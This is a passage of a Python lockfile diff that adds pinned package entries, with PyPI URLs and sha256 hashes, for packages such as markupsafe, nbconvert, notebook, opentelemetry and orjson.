"sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" }, + { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" }, + { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" }, + { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "matplotlib-inline" +version = "0.2.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c7/74/97e72a36efd4ae2bccb3463284300f8953f199b5ffbc04cbbb0ec78f74b1/matplotlib_inline-0.2.1.tar.gz", hash = "sha256:e1ee949c340d771fc39e241ea75683deb94762c8fa5f2927ec57c83c4dffa9fe", size = 8110, upload-time = "2025-10-23T09:00:22.126Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/af/33/ee4519fa02ed11a94aef9559552f3b17bb863f2ecfe1a35dc7f548cde231/matplotlib_inline-0.2.1-py3-none-any.whl", hash = "sha256:d56ce5156ba6085e00a9d54fead6ed29a9c47e215cd1bba2e976ef39f5710a76", size = 9516, upload-time = "2025-10-23T09:00:20.675Z" }, +] + +[[package]] +name = "mistune" +version = "3.2.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ca/84/620cc3f7e3adf6f5067e10f4dbae71295d8f9e16d5d3f9ef97c40f2f592c/mistune-3.2.1.tar.gz", hash = "sha256:7c8e5501d38bac1582e067e46c8343f17d57ea1aaa735823f3aba1fd59c88a28", size = 98003, upload-time = "2026-05-03T14:33:22.312Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/7f/a946aa4f8752b37102b41e64dca18a1976ac705c3a0d1dfe74d820a02552/mistune-3.2.1-py3-none-any.whl", hash = "sha256:78cdb0ba5e938053ccf63651b352508d2efa9411dc8810bfb05f2dc5140c0048", size = 53749, upload-time = "2026-05-03T14:33:20.551Z" }, +] + +[[package]] +name = "nbclient" +version = "0.10.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jupyter-client" }, + { name = "jupyter-core" }, + { name = "nbformat" }, + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/56/91/1c1d5a4b9a9ebba2b4e32b8c852c2975c872aec1fe42ab5e516b2cecd193/nbclient-0.10.4.tar.gz", hash = "sha256:1e54091b16e6da39e297b0ece3e10f6f29f4ac4e8ee515d29f8a7099bd6553c9", size = 62554, upload-time = "2025-12-23T07:45:46.369Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/a0/5b0c2f11142ed1dddec842457d3f65eaf71a0080894eb6f018755b319c3a/nbclient-0.10.4-py3-none-any.whl", hash = "sha256:9162df5a7373d70d606527300a95a975a47c137776cd942e52d9c7e29ff83440", size = 25465, upload-time = "2025-12-23T07:45:44.51Z" }, +] + +[[package]] +name = "nbconvert" +version = "7.17.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "beautifulsoup4" }, + { name = "bleach", extra = ["css"] }, + { name = "defusedxml" }, + { name = "jinja2" }, + { name = "jupyter-core" }, + { name = "jupyterlab-pygments" }, + { name = "markupsafe" }, + { name = "mistune" }, + { name = "nbclient" }, + { name = "nbformat" }, + { name = "packaging" }, + { name = "pandocfilters" }, + { name = "pygments" }, + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/01/b1/708e53fe2e429c103c6e6e159106bcf0357ac41aa4c28772bd8402339051/nbconvert-7.17.1.tar.gz", hash = "sha256:34d0d0a7e73ce3cbab6c5aae8f4f468797280b01fd8bd2ca746da8569eddd7d2", size = 865311, upload-time = "2026-04-08T00:44:14.914Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/67/f8/bb0a9d5f46819c821dc1f004aa2cc29b1d91453297dbf5ff20470f00f193/nbconvert-7.17.1-py3-none-any.whl", hash = "sha256:aa85c087b435e7bf1ffd03319f658e285f2b89eccab33bc1ba7025495ab3e7c8", size = 261927, upload-time = "2026-04-08T00:44:12.845Z" }, +] + +[[package]] +name = "nbformat" +version = "5.10.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "fastjsonschema" }, + { name = "jsonschema" }, + { name = "jupyter-core" }, + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/6d/fd/91545e604bc3dad7dca9ed03284086039b294c6b3d75c0d2fa45f9e9caf3/nbformat-5.10.4.tar.gz", hash = "sha256:322168b14f937a5d11362988ecac2a4952d3d8e3a2cbeb2319584631226d5b3a", size = 142749, upload-time = "2024-04-04T11:20:37.371Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a9/82/0340caa499416c78e5d8f5f05947ae4bc3cba53c9f038ab6e9ed964e22f1/nbformat-5.10.4-py3-none-any.whl", hash = "sha256:3b48d6c8fbca4b299bf3982ea7db1af21580e4fec269ad087b9e81588891200b", size = 78454, upload-time = "2024-04-04T11:20:34.895Z" }, +] + +[[package]] +name = "nest-asyncio" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/83/f8/51569ac65d696c8ecbee95938f89d4abf00f47d58d48f6fbabfe8f0baefe/nest_asyncio-1.6.0.tar.gz", hash = "sha256:6f172d5449aca15afd6c646851f4e31e02c598d553a667e38cafa997cfec55fe", size = 7418, upload-time = "2024-01-21T14:25:19.227Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/c4/c2971a3ba4c6103a3d10c4b0f24f461ddc027f0f09763220cf35ca1401b3/nest_asyncio-1.6.0-py3-none-any.whl", hash = "sha256:87af6efd6b5e897c81050477ef65c62e2b2f35d51703cae01aff2905b1852e1c", size = 5195, upload-time = "2024-01-21T14:25:17.223Z" }, +] + +[[package]] +name = "notebook" +version = "7.5.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jupyter-server" }, + { name = "jupyterlab" }, + { name = "jupyterlab-server" }, + { name = "notebook-shim" }, + { name = "tornado" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/2a/c2/cf59bd2e6f2c8b976b52477e3e53bf6f97bc714ed046a51821afb428eaee/notebook-7.5.6.tar.gz", hash = "sha256:621174aade80108f0020b0f00738000b215f75fa3cd90771ad7aa0f24536a4e1", size = 14170814, upload-time = "2026-04-30T11:46:26.613Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e9/d6/1fd0646b9bbd9efbb0b8ae21b2325fbef515769a5621c03e31d8eb8da587/notebook-7.5.6-py3-none-any.whl", hash = "sha256:4dde3f8fb55fa8fb7946d58c6e869ce9baf46d00fc070664f62604569d0faca0", size = 14581730, upload-time = "2026-04-30T11:46:22.342Z" }, +] + +[[package]] +name = "notebook-shim" +version = "0.2.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jupyter-server" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/54/d2/92fa3243712b9a3e8bafaf60aac366da1cada3639ca767ff4b5b3654ec28/notebook_shim-0.2.4.tar.gz", hash = "sha256:b4b2cfa1b65d98307ca24361f5b30fe785b53c3fd07b7a47e89acb5e6ac638cb", size = 13167, upload-time = "2024-02-14T23:35:18.353Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f9/33/bd5b9137445ea4b680023eb0469b2bb969d61303dedb2aac6560ff3d14a1/notebook_shim-0.2.4-py3-none-any.whl", hash = "sha256:411a5be4e9dc882a074ccbcae671eda64cceb068767e9a3419096986560e1cef", size = 13307, upload-time = "2024-02-14T23:35:16.286Z" }, +] + +[[package]] +name = "opentelemetry-api" +version = "1.39.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "importlib-metadata", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "typing-extensions", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/97/b9/3161be15bb8e3ad01be8be5a968a9237c3027c5be504362ff800fca3e442/opentelemetry_api-1.39.1.tar.gz", hash = "sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c", size = 65767, upload-time = "2025-12-11T13:32:39.182Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cf/df/d3f1ddf4bb4cb50ed9b1139cc7b1c54c34a1e7ce8fd1b9a37c0d1551a6bd/opentelemetry_api-1.39.1-py3-none-any.whl", hash = "sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950", size = 66356, upload-time = "2025-12-11T13:32:17.304Z" }, +] + +[[package]] +name = "opentelemetry-exporter-otlp-proto-common" +version = "1.39.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-proto", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e9/9d/22d241b66f7bbde88a3bfa6847a351d2c46b84de23e71222c6aae25c7050/opentelemetry_exporter_otlp_proto_common-1.39.1.tar.gz", hash = "sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464", size = 20409, upload-time = "2025-12-11T13:32:40.885Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8c/02/ffc3e143d89a27ac21fd557365b98bd0653b98de8a101151d5805b5d4c33/opentelemetry_exporter_otlp_proto_common-1.39.1-py3-none-any.whl", hash = "sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde", size = 18366, upload-time = "2025-12-11T13:32:20.2Z" }, +] + +[[package]] +name = "opentelemetry-exporter-otlp-proto-http" +version = "1.39.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "googleapis-common-protos", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-api", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-exporter-otlp-proto-common", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-proto", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-sdk", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "requests", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "typing-extensions", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/80/04/2a08fa9c0214ae38880df01e8bfae12b067ec0793446578575e5080d6545/opentelemetry_exporter_otlp_proto_http-1.39.1.tar.gz", hash = "sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb", size = 17288, upload-time = "2025-12-11T13:32:42.029Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/95/f1/b27d3e2e003cd9a3592c43d099d2ed8d0a947c15281bf8463a256db0b46c/opentelemetry_exporter_otlp_proto_http-1.39.1-py3-none-any.whl", hash = "sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985", size = 19641, upload-time = "2025-12-11T13:32:22.248Z" }, +] + +[[package]] +name = "opentelemetry-proto" +version = "1.39.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "protobuf", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/49/1d/f25d76d8260c156c40c97c9ed4511ec0f9ce353f8108ca6e7561f82a06b2/opentelemetry_proto-1.39.1.tar.gz", hash = "sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8", size = 46152, upload-time = "2025-12-11T13:32:48.681Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/95/b40c96a7b5203005a0b03d8ce8cd212ff23f1793d5ba289c87a097571b18/opentelemetry_proto-1.39.1-py3-none-any.whl", hash = "sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007", size = 72535, upload-time = "2025-12-11T13:32:33.866Z" }, +] + +[[package]] +name = "opentelemetry-sdk" +version = "1.39.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-semantic-conventions", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "typing-extensions", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/fb/c76080c9ba07e1e8235d24cdcc4d125ef7aa3edf23eb4e497c2e50889adc/opentelemetry_sdk-1.39.1.tar.gz", hash = "sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6", size = 171460, upload-time = "2025-12-11T13:32:49.369Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/98/e91cf858f203d86f4eccdf763dcf01cf03f1dae80c3750f7e635bfa206b6/opentelemetry_sdk-1.39.1-py3-none-any.whl", hash = "sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c", size = 132565, upload-time = "2025-12-11T13:32:35.069Z" }, +] + +[[package]] +name = "opentelemetry-semantic-conventions" +version = "0.60b1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "opentelemetry-api", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "typing-extensions", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/91/df/553f93ed38bf22f4b999d9be9c185adb558982214f33eae539d3b5cd0858/opentelemetry_semantic_conventions-0.60b1.tar.gz", hash = "sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953", size = 137935, upload-time = "2025-12-11T13:32:50.487Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7a/5e/5958555e09635d09b75de3c4f8b9cae7335ca545d77392ffe7331534c402/opentelemetry_semantic_conventions-0.60b1-py3-none-any.whl", hash = "sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb", size = 219982, upload-time = "2025-12-11T13:32:36.955Z" }, +] + +[[package]] +name = "orjson" +version = "3.11.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/0c/964746fcafbd16f8ff53219ad9f6b412b34f345c75f384ad434ceaadb538/orjson-3.11.9.tar.gz", hash = "sha256:4fef17e1f8722c11587a6ef18e35902450221da0028e65dbaaa543619e68e48f", size = 5599163, upload-time = "2026-05-06T15:11:08.309Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/5d/b95ca542a001135cc250a49370f282f578c8f4e46cc8617d73775297eea8/orjson-3.11.9-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:135869ef917b8704ea0a94e01620e0c05021c15c52036e4663baffe75e72f8ce", size = 228986, upload-time = "2026-05-06T15:09:14.765Z" }, + { url = "https://files.pythonhosted.org/packages/80/01/be33fbff646e22f93398429ea645f20d2097aea1a6cdc1e6628e70125f83/orjson-3.11.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:115ab5f5f4a0f203cc2a5f0fb09aee503a3f771aa08392949ab5ca230c4fbdbd", size = 132558, upload-time = "2026-05-06T15:09:17.431Z" }, + { url = "https://files.pythonhosted.org/packages/4e/61/73d49333bba660a075daccca10970dc6409ce1cf42ae4046646a19468aad/orjson-3.11.9-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4da3c38a2083ca4aaf9c2a36776cce3e9328e6647b10d118948f3cfb4913ffe4", size = 128213, upload-time = "2026-05-06T15:09:18.719Z" }, + { url = "https://files.pythonhosted.org/packages/1f/7d/30e844b3dac3f74aed66b1f984daf9db3c98c0328c03d965a9e8dc06449e/orjson-3.11.9-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53b50b0e14084b8f7e29c5ce84c5af0f1160169b30d8a6914231d97d2fe297d4", size = 135430, upload-time = "2026-05-06T15:09:20.257Z" }, + { url = "https://files.pythonhosted.org/packages/16/64/bd815f5c610b3facc204f26ba94e87a9eb49b0d83de3d5fc1eee2402d91b/orjson-3.11.9-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:231742b4a11dad8d5380a435962c57e91b7c37b79be858f4ef1c0df1a259897e", size = 146178, upload-time = "2026-05-06T15:09:21.616Z" }, + { url = "https://files.pythonhosted.org/packages/c7/35/e744fd36c79b339d27beb06068b5a08a8882ef5418804d0ce545a31f718d/orjson-3.11.9-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:34fd2317602587321faab75ab76c623a0117e80841a6413654f04e47f339a8fb", size = 133068, upload-time = "2026-05-06T15:09:23.228Z" }, + { url = "https://files.pythonhosted.org/packages/2a/56/d54152b67b63a0b3e556cfc549d6ce84f74d7f425ddeadc6c8a74d913da7/orjson-3.11.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:71f3db16e69b667b132e0f305a833d5497da302d801508cbb051ed9a9819da47", size = 134217, upload-time = "2026-05-06T15:09:24.847Z" }, + { url = "https://files.pythonhosted.org/packages/0b/ee/66154baf69f71c7164a268a5e888908aec5a0819d13c81d5e2755a257758/orjson-3.11.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0b34789fa0da61cf7bef0546b09c738fb195331e017e477096d129e9105ab03d", size = 141917, upload-time = "2026-05-06T15:09:26.647Z" }, + { url = "https://files.pythonhosted.org/packages/09/d3/c5824260ca8b9d7ba82648d042a3f8f4815d18c15bb98a1f30edd1bb2d83/orjson-3.11.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:87e4d4ab280b0c87424d47695bec2182caf8cfc17879ea78dab76680194abc13", size = 415356, upload-time = "2026-05-06T15:09:28.252Z" }, + { url = "https://files.pythonhosted.org/packages/64/cb/509c2e816fe4df641d93dc92f6a89adc8df3ada8ebdee2bd44aba3264c3c/orjson-3.11.9-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ace6c58523302d3b97b6ac5c38a5298a54b473762b6be82726b4265c41029f92", size = 148112, upload-time = "2026-05-06T15:09:29.783Z" }, + { url = "https://files.pythonhosted.org/packages/db/b5/3ceae56d2e4962979eedb023ba6a46a4bb65f333960379be0ca470686220/orjson-3.11.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:97d0d932803c1b164fde11cb542a9efcb1e0f63b184537cca65887147906ff48", size = 137112, upload-time = "2026-05-06T15:09:31.432Z" }, + { url = "https://files.pythonhosted.org/packages/d7/7a/81fa3f2c7bef79b04cf2ab7838e5ac74b1f12511ceab979759b0275d6bb4/orjson-3.11.9-cp310-cp310-win32.whl", hash = "sha256:b3afcf569c15577a9fe64627292daa3e6b3a70f4fb77a5df246a87ec21681b94", size = 131706, upload-time = "2026-05-06T15:09:32.707Z" }, + { url = "https://files.pythonhosted.org/packages/ae/d8/b64600f9083c7f151ad39717a5877fccbeb0ef6d7efcb55f971ce00b6bee/orjson-3.11.9-cp310-cp310-win_amd64.whl", hash = "sha256:8697ab6a080a5c46edaad50e2bc5bd8c7ca5c66442d24104fa44ec74910a8244", size = 127282, upload-time = "2026-05-06T15:09:33.955Z" }, + { url = "https://files.pythonhosted.org/packages/1e/51/3fb9e65ae76ee97bd611869a503fa3fc0a6e81dd8b737cf3003f682df7ff/orjson-3.11.9-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:f01c4818b3fc9b0da8e096722a84318071eaa118df35f6ed2344da0e73a5444f", size = 228522, upload-time = "2026-05-06T15:09:35.362Z" }, + { url = "https://files.pythonhosted.org/packages/16/fa/9d54b07cb3f3b0bfd57841478e42d7a0ece4a9f49f9907eecf5a45461687/orjson-3.11.9-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:3ebca4179031ee716ed076ffadc29428e900512f6fccee8614c9983157fcf19c", size = 128463, upload-time = "2026-05-06T15:09:37.063Z" }, + { url = "https://files.pythonhosted.org/packages/88/b1/6ceafc2eefd0a553e3be77ce6c49d107e772485d9568629376171c50e634/orjson-3.11.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:48ee05097750de0ff69ed5b7bbcf0732182fd57a24043dcc2a1da780a5ead3a5", size = 132306, upload-time = "2026-05-06T15:09:38.299Z" }, + { url = "https://files.pythonhosted.org/packages/ea/76/f11311285324a40aab1e3031385c50b635a7cd0734fdaf60c7e89a696f60/orjson-3.11.9-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a6082706765a95a6680d812e1daf1c0cfe8adec7831b3ff3b625693f3b461b1c", size = 127988, upload-time = "2026-05-06T15:09:39.597Z" }, + { url = "https://files.pythonhosted.org/packages/9e/85/0ef63bcf1337f44031ce9b91b1919563f62a37527b3ea4368bb15a22e5d7/orjson-3.11.9-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:277fefe9d76ee17eb14debf399e3533d4d63b5f677a4d3719eb763536af1f4bd", size = 135188, upload-time = "2026-05-06T15:09:40.957Z" }, + { url = "https://files.pythonhosted.org/packages/05/94/b0d27090ea8a2095db3c2bd1b1c96f96f19bbb494d7fef33130e846e613d/orjson-3.11.9-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:03db380e3780fa0015ed776a90f20e8e20bb11dde13b216ce19e5718e3dfba62", size = 145937, upload-time = "2026-05-06T15:09:42.249Z" }, + { url = "https://files.pythonhosted.org/packages/09/eb/75d50c29c05b8054013e221e598820a365c8e64065312e75e202ed880709/orjson-3.11.9-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33d7d766701847dc6729846362dc27895d2f2d2251264f9d10e7cb9878194877", size = 132758, upload-time = "2026-05-06T15:09:43.945Z" }, + { url = "https://files.pythonhosted.org/packages/49/bd/360686f39348aa88827cb6fbf7dc606fd41c831a35235e1abf1db8e3a9e6/orjson-3.11.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147302878da387104b66bb4a8b0227d1d487e976ce41a8501916161072ed87b1", size = 133971, upload-time = "2026-05-06T15:09:45.239Z" }, + { url = "https://files.pythonhosted.org/packages/0e/30/3178eb16f3221aeef068b6f1f1ebe05f656ea5c6dffe9f6c917329fe17a3/orjson-3.11.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3513550321f8c8c811a7c3297b8a630e82dc08e4c10216d07703c997776236cd", size = 141685, upload-time = "2026-05-06T15:09:46.858Z" }, + { url = "https://files.pythonhosted.org/packages/5f/f1/ff2f19ed0225f9680fafa42febca3570dd59444ebf190980738d376214c2/orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff", size = 415167, upload-time = "2026-05-06T15:09:48.312Z" }, + { url = "https://files.pythonhosted.org/packages/9b/61/863bddf0da6e9e586765414debd54b4e58db05f560902b6d00658cb88636/orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980", size = 147913, upload-time = "2026-05-06T15:09:49.733Z" }, + { url = "https://files.pythonhosted.org/packages/b6/8a/4081492586d75b073d60c5271a8d0f05a0955cabf1e34c8473f6fcd84235/orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2", size = 136959, upload-time = "2026-05-06T15:09:51.311Z" }, + { url = 